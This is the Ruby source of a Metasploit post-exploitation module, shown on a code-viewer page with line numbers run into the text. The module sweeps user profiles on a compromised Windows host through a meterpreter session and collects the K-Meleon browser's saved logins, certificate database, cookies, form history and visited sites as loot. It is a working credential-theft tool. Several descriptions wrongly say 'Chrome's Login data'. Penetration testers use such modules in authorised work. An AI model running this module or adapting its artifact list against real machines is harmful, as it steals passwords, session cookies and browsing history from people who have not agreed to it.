Path: blob/master/modules/post/windows/gather/credentials/kmeleon.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat1011ARTIFACTS =12{13application: 'k-meleon',14app_category: 'browsers',15gatherable_artifacts: [16{17filetypes: 'logins',18path: 'AppData',19dir: 'K-Meleon',20artifact_file_name: 'signons.sqlite',21description: "K-Meleon's saved Username and Passwords",22credential_type: 'sqlite',23sql_search: [24{25sql_description: "Database Commands which exports Chrome's Login data",26sql_table: 'logins',27sql_column: 'username_value, action_url'28}29]30},31{32filetypes: 'logins',33path: 'AppData',34dir: 'K-Meleon',35artifact_file_name: 'cert8.db',36description: "K-Meleon's saved Username and Passwords",37credential_type: 'database'38},39{40filetypes: 'cookies',41path: 'AppData',42dir: 'K-Meleon',43artifact_file_name: 'cookies.sqlite',44description: "K-Meleon's Cookies",45credential_type: 'sqlite',46sql_search: [47{48sql_description: "Database Commands which exports Chrome's Login data",49sql_table: 'moz_cookies',50sql_column: 'baseDomain, host, name, path, value'51}52]53},54{55filetypes: 'web_history',56path: 'AppData',57dir: 'K-Meleon',58artifact_file_name: 'formhistory.sqlite',59description: "K-Meleon's Visited websites ",60credential_type: 'sqlite',61sql_search: [62{63sql_description: "Database Commands which exports Chrome's Login data",64sql_table: 'moz_formhistory',65sql_column: 'value'66}67]68},69{70filetypes: 'web_history',71path: 'AppData',72dir: 'K-Meleon',73artifact_file_name: 'places.sqlite',74description: "K-Meleon's Visited websites ",75credential_type: 'sqlite',76sql_search: [77{78sql_description: "Database Commands which exports Chrome's Login data",79sql_table: 'moz_places',80sql_column: 'url'81},82{83sql_description: "Database Commands which exports Chrome's Login data",84sql_table: 'moz_inputhistory',85sql_column: 'input'86},87{88sql_description: "Database Commands which exports Chrome's Login data",89sql_table: 'moz_hosts',90sql_column: 'host'91},92{93sql_description: "Database Commands which exports Chrome's Login data",94sql_table: 'moz_keywords',95sql_column: 'keyword'96}97]98}99]100}.freeze101102def initialize(info = {})103super(104update_info(105info,106'Name' => 'K-Meleon Credential Gatherer',107'Description' => %q{108This module searches for K-Meleon credentials on a Windows host.109},110'License' => MSF_LICENSE,111'Author' => [112'Kazuyoshi Maruta',113'Daniel Hallsworth',114'Barwar Salim M',115'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org116],117'Platform' => ['win'],118'SessionTypes' => ['meterpreter'],119'Notes' => {120'Stability' => [CRASH_SAFE],121'Reliability' => [],122'SideEffects' => []123}124)125)126127register_options(128[129OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),130OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),131OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),132# enumerates the options based on the artifacts that are defined below133OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])134]135)136end137138def run139print_status('Filtering based on these selections: ')140print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")141print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")142print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")143144# used to grab files for each user on the remote host145grab_user_profiles.each do |userprofile|146run_packrat(userprofile, ARTIFACTS)147end148149print_status 'PackRat credential sweep completed'150end151end152153154